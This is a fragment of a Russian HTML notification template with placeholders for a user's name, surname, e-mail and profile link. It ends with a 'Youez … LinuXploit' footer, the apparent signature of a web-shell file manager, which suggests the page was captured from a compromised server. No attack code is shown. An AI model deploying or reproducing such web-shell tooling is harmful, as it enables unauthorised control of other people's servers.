&lt;b&gt;Имя:&lt;/b&gt; {{ NAME }}<br>
&lt;b&gt;Фамилия:&lt;/b&gt; {{ LAST_NAME }}<br>
&lt;b&gt;E-mail:&lt;/b&gt; {{ EMAIL }}<br>
&lt;b&gt;Ссылка на пользователя:&lt;/b&gt; {{ LINK }}<br>
<br>";

Youez - 2016 - github.com/yon3zu
LinuXploit